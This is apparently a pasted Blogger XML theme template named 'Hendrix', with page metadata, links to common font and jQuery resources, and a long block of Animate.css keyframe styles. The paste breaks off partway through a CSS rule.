· 6 years ago · Mar 28, 2020, 04:26 AM
1<?xml version="1.0" encoding="UTF-8" ?>
2<!DOCTYPE html>
3<html b:version='2' class='v2' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
4 <head>
5
6 <meta content='width=device-width, initial-scale=1, maximum-scale=1' name='viewport'/>
7 <b:include data='blog' name='all-head-content'/>
8
9 <title>
10 <b:if cond='data:blog.pageType == "index"'>
11 <data:blog.pageTitle/>
12 <b:else/>
13 <b:if cond='data:blog.pageType != "error_page"'>
14 <data:blog.pageName/> - <data:blog.title/>
15 <b:else/>
16 ERROR 404 - <data:blog.title/>
17 </b:if>
18 </b:if>
19 </title>
20
21 <!-- Description and Keywords -->
22 <b:if cond='data:blog.pageType == "index"'>
23 <meta content='YOUR DESCRIPTION HERE' name='description'/>
24 </b:if>
25 <meta content='YOUR KEYWORDS HERE' name='keywords'/>
26 <b:if cond='data:blog.pageType == "item"'>
27 <meta expr:content='data:blog.pageName' property='og:title'/>
28 <meta expr:content='data:blog.canonicalUrl' property='og:url'/>
29 <meta content='article' property='og:type'/>
30 </b:if>
31 <b:if cond='data:blog.postImageUrl'>
32 <meta expr:content='data:blog.postImageUrl' property='og:image'/>
33 <b:else/>
34 <b:if cond='data:blog.postImageThumbnailUrl'>
35 <meta expr:content='data:blog.postImageThumbnailUrl' property='og:image'/>
36 </b:if></b:if>
37 <b:if cond='data:blog.metaDescription != ""'>
38 <meta expr:content='data:blog.metaDescription' name='og:description'/>
39 </b:if>
40 <meta expr:content='data:blog.title' property='og:site_name'/>
41 <meta expr:content='data:blog.homepageUrl' name='twitter:domain'/>
42 <meta expr:content='data:blog.pageName' name='twitter:title'/>
43 <b:if cond='data:blog.postImageUrl'>
44 <meta content='summary_large_image' name='twitter:card'/>
45 <meta expr:content='data:blog.postImageUrl' name='twitter:image'/>
46 <b:else/>
47 <meta content='summary' name='twitter:card'/>
48 <b:if cond='data:blog.postImageThumbnailUrl'>
49 <meta expr:content='data:blog.postImageThumbnailUrl' name='twitter:image'/>
50 </b:if>
51 </b:if>
52 <meta expr:content='data:blog.pageName' name='twitter:title'/>
53 <b:if cond='data:blog.metaDescription'>
54 <meta expr:content='data:blog.metaDescription' name='twitter:description'/>
55 </b:if>
56
57 <!-- Links -->
58 <link href='https://maxcdn.bootstrapcdn.com/font-awesome/4.6.1/css/font-awesome.min.css' rel='stylesheet'/>
59 <link href='https://fonts.googleapis.com/css?family=Kaushan+Script%7CPoppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i' rel='stylesheet'/>
60<script src='//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js' type='text/javascript'/>
61 <!-- Links END-->
62 <link href='https://cdn.linearicons.com/free/1.0.0/icon-font.min.css' rel='stylesheet'/>
63
64
65
66
67 <b:skin><![CDATA[/*
68//////////////////////////////////////////////////////////////
69// //
70// Theme Name : Hendrix //
71// Author : Templateclue //
72// Site :www.Templateclue.com //
73// License : Creative Commons Attribution License //
74// Share and Use This With Proper Credit. //
75// //
76//////////////////////////////////////////////////////
77*/
78/*-------------------------------------------*/
79/* 1.ANIMATION
80/*-------------------------------------------*/
81/* Animate.css - http://daneden.me/animate Licensed under the MIT license - http://opensource.org/licenses/MIT Copyright (c) 2015 Daniel Eden */ @-webkit-keyframes sk-bounce { 0%, 100% { -webkit-transform: scale(0.0) } 50% { -webkit-transform: scale(1.0) } } @keyframes sk-bounce { 0%, 100% { transform: scale(0.0); -webkit-transform: scale(0.0); } 50% { transform: scale(1.0); -webkit-transform: scale(1.0); } } @-webkit-keyframes blinker { 0% { opacity: 1.0; } 40% { opacity: 0.0; } 80% { opacity: 0.0; } 100% { opacity: 1.0; } } .animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both; } .animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s; } .animated.bounceIn, .animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s; } .animated.flipOutX, .animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s; } @-webkit-keyframes bounce { from, 20%, 53%, 80%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -30px, 0); transform: translate3d(0, -30px, 0); } 70% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px, 0); } 90% { -webkit-transform: translate3d(0,-4px,0); transform: translate3d(0,-4px,0); } } @keyframes bounce { from, 20%, 53%, 80%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -30px, 0); transform: translate3d(0, -30px, 0); } 70% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px, 0); } 90% { -webkit-transform: translate3d(0,-4px,0); transform: translate3d(0,-4px,0); } } .bounce { -webkit-animation-name: bounce; animation-name: bounce; -webkit-transform-origin: center bottom; transform-origin: center bottom; } @-webkit-keyframes flash { from, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } @keyframes flash { from, 50%, 100% { opacity: 1; } 25%, 75% { opacity: 0; } } .flash { -webkit-animation-name: flash; animation-name: flash; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes pulse { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes pulse { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .pulse { -webkit-animation-name: pulse; animation-name: pulse; } @-webkit-keyframes rubberBand { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(.95, 1.05, 1); transform: scale3d(.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, .95, 1); transform: scale3d(1.05, .95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes rubberBand { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1); } 50% { -webkit-transform: scale3d(1.15, 0.85, 1); transform: scale3d(1.15, 0.85, 1); } 65% { -webkit-transform: scale3d(.95, 1.05, 1); transform: scale3d(.95, 1.05, 1); } 75% { -webkit-transform: scale3d(1.05, .95, 1); transform: scale3d(1.05, .95, 1); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .rubberBand { -webkit-animation-name: rubberBand; animation-name: rubberBand; } @-webkit-keyframes shake { from, 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } } @keyframes shake { from, 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } } .shake { -webkit-animation-name: shake; animation-name: shake; } @-webkit-keyframes swing { 20% { -webkit-transform: rotate3d(0, 0, 1, 15deg); transform: rotate3d(0, 0, 1, 15deg); } 40% { -webkit-transform: rotate3d(0, 0, 1, -10deg); transform: rotate3d(0, 0, 1, -10deg); } 60% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } 100% { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rotate3d(0, 0, 1, 0deg); } } @keyframes swing { 20% { -webkit-transform: rotate3d(0, 0, 1, 15deg); transform: rotate3d(0, 0, 1, 15deg); } 40% { -webkit-transform: rotate3d(0, 0, 1, -10deg); transform: rotate3d(0, 0, 1, -10deg); } 60% { -webkit-transform: rotate3d(0, 0, 1, 5deg); transform: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } 100% { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rotate3d(0, 0, 1, 0deg); } } .swing { -webkit-transform-origin: top center; transform-origin: top center; -webkit-animation-name: swing; animation-name: swing; } @-webkit-keyframes tada { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes tada { from { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 10%, 20% { -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); } 40%, 60%, 80% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); } 100% { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .tada { -webkit-animation-name: tada; animation-name: tada; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes wobble { from { -webkit-transform: none; transform: none; } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); } 100% { -webkit-transform: none; transform: none; } } @keyframes wobble { from { -webkit-transform: none; transform: none; } 15% { -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg); } 30% { -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg); } 45% { -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg); } 100% { -webkit-transform: none; transform: none; } } .wobble { -webkit-animation-name: wobble; animation-name: wobble; } @-webkit-keyframes jello { from, 11.1%, 100% { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 33.3% { -webkit-transform: skewX(6.25deg) skewY(6.25deg); transform: skewX(6.25deg) skewY(6.25deg); } 44.4% { -webkit-transform: skewX(-3.125deg) skewY(-3.125deg); transform: skewX(-3.125deg) skewY(-3.125deg); } 55.5% { -webkit-transform: skewX(1.5625deg) skewY(1.5625deg); transform: skewX(1.5625deg) skewY(1.5625deg); } 66.6% { -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg); transform: skewX(-0.78125deg) skewY(-0.78125deg); } 77.7% { -webkit-transform: skewX(0.390625deg) skewY(0.390625deg); transform: skewX(0.390625deg) skewY(0.390625deg); } 88.8% { -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg); transform: skewX(-0.1953125deg) skewY(-0.1953125deg); } } @keyframes jello { from, 11.1%, 100% { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 33.3% { -webkit-transform: skewX(6.25deg) skewY(6.25deg); transform: skewX(6.25deg) skewY(6.25deg); } 44.4% { -webkit-transform: skewX(-3.125deg) skewY(-3.125deg); transform: skewX(-3.125deg) skewY(-3.125deg); } 55.5% { -webkit-transform: skewX(1.5625deg) skewY(1.5625deg); transform: skewX(1.5625deg) skewY(1.5625deg); } 66.6% { -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg); transform: skewX(-0.78125deg) skewY(-0.78125deg); } 77.7% { -webkit-transform: skewX(0.390625deg) skewY(0.390625deg); transform: skewX(0.390625deg) skewY(0.390625deg); } 88.8% { -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg); transform: skewX(-0.1953125deg) skewY(-0.1953125deg); } } .jello { -webkit-animation-name: jello; animation-name: jello; -webkit-transform-origin: center; transform-origin: center; } @-webkit-keyframes bounceIn { from, 20%, 40%, 60%, 80%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(.97, .97, .97); transform: scale3d(.97, .97, .97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } @keyframes bounceIn { from, 20%, 40%, 60%, 80%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 20% { -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 40% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 60% { opacity: 1; -webkit-transform: scale3d(1.03, 1.03, 1.03); transform: scale3d(1.03, 1.03, 1.03); } 80% { -webkit-transform: scale3d(.97, .97, .97); transform: scale3d(.97, .97, .97); } 100% { opacity: 1; -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } } .bounceIn { -webkit-animation-name: bounceIn; animation-name: bounceIn; } @-webkit-keyframes bounceInDown { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, -3000px, 0); transform: translate3d(0, -3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInDown { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(0, -3000px, 0); transform: translate3d(0, -3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, 25px, 0); transform: translate3d(0, 25px, 0); } 75% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 90% { -webkit-transform: translate3d(0, 5px, 0); transform: translate3d(0, 5px, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInDown { -webkit-animation-name: bounceInDown; animation-name: bounceInDown; } @-webkit-keyframes bounceInLeft { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(-3000px, 0, 0); transform: translate3d(-3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInLeft { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; -webkit-transform: translate3d(-3000px, 0, 0); transform: translate3d(-3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(25px, 0, 0); transform: translate3d(25px, 0, 0); } 75% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 90% { -webkit-transform: translate3d(5px, 0, 0); transform: translate3d(5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInLeft { -webkit-animation-name: bounceInLeft; animation-name: bounceInLeft; } @-webkit-keyframes bounceInRight { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } from { opacity: 0; -webkit-transform: translate3d(3000px, 0, 0); transform: translate3d(3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } @keyframes bounceInRight { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } from { opacity: 0; -webkit-transform: translate3d(3000px, 0, 0); transform: translate3d(3000px, 0, 0); } 60% { opacity: 1; -webkit-transform: translate3d(-25px, 0, 0); transform: translate3d(-25px, 0, 0); } 75% { -webkit-transform: translate3d(10px, 0, 0); transform: translate3d(10px, 0, 0); } 90% { -webkit-transform: translate3d(-5px, 0, 0); transform: translate3d(-5px, 0, 0); } 100% { -webkit-transform: none; transform: none; } } .bounceInRight { -webkit-animation-name: bounceInRight; animation-name: bounceInRight; } @-webkit-keyframes bounceInUp { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } from { opacity: 0; -webkit-transform: translate3d(0, 3000px, 0); transform: translate3d(0, 3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } @keyframes bounceInUp { from, 60%, 75%, 90%, 100% { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } from { opacity: 0; -webkit-transform: translate3d(0, 3000px, 0); transform: translate3d(0, 3000px, 0); } 60% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 75% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 90% { -webkit-transform: translate3d(0, -5px, 0); transform: translate3d(0, -5px, 0); } 100% { -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .bounceInUp { -webkit-animation-name: bounceInUp; animation-name: bounceInUp; } @-webkit-keyframes bounceOut { 20% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } } @keyframes bounceOut { 20% { -webkit-transform: scale3d(.9, .9, .9); transform: scale3d(.9, .9, .9); } 50%, 55% { opacity: 1; -webkit-transform: scale3d(1.1, 1.1, 1.1); transform: scale3d(1.1, 1.1, 1.1); } 100% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } } .bounceOut { -webkit-animation-name: bounceOut; animation-name: bounceOut; } @-webkit-keyframes bounceOutDown { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @keyframes bounceOutDown { 20% { -webkit-transform: translate3d(0, 10px, 0); transform: translate3d(0, 10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, -20px, 0); transform: translate3d(0, -20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } .bounceOutDown { -webkit-animation-name: bounceOutDown; animation-name: bounceOutDown; } @-webkit-keyframes bounceOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @keyframes bounceOutLeft { 20% { opacity: 1; -webkit-transform: translate3d(20px, 0, 0); transform: translate3d(20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } .bounceOutLeft { -webkit-animation-name: bounceOutLeft; animation-name: bounceOutLeft; } @-webkit-keyframes bounceOutRight { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } @keyframes bounceOutRight { 20% { opacity: 1; -webkit-transform: translate3d(-20px, 0, 0); transform: translate3d(-20px, 0, 0); } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } .bounceOutRight { -webkit-animation-name: bounceOutRight; animation-name: bounceOutRight; } @-webkit-keyframes bounceOutUp { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @keyframes bounceOutUp { 20% { -webkit-transform: translate3d(0, -10px, 0); transform: translate3d(0, -10px, 0); } 40%, 45% { opacity: 1; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } .bounceOutUp { -webkit-animation-name: bounceOutUp; animation-name: bounceOutUp; } @-webkit-keyframes fadeIn { from { opacity: 0; } 100% { opacity: 1; } } @keyframes fadeIn { from { opacity: 0; } 100% { opacity: 1; } } .fadeIn { -webkit-animation-name: fadeIn; animation-name: fadeIn; } @-webkit-keyframes fadeInDown { from { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInDown { from { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInDown { -webkit-animation-name: fadeInDown; animation-name: fadeInDown; } @-webkit-keyframes fadeInDownBig { from { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInDownBig { from { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInDownBig { -webkit-animation-name: fadeInDownBig; animation-name: fadeInDownBig; } @-webkit-keyframes fadeInLeft { from { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInLeft { from { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInLeft { -webkit-animation-name: fadeInLeft; animation-name: fadeInLeft; } @-webkit-keyframes fadeInLeftBig { from { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInLeftBig { from { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInLeftBig { -webkit-animation-name: fadeInLeftBig; animation-name: fadeInLeftBig; } @-webkit-keyframes fadeInRight { from { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInRight { from { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInRight { -webkit-animation-name: fadeInRight; animation-name: fadeInRight; } @-webkit-keyframes fadeInRightBig { from { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInRightBig { from { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInRightBig { -webkit-animation-name: fadeInRightBig; animation-name: fadeInRightBig; } @-webkit-keyframes fadeInUp { from { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } 100% { opacity: 1; 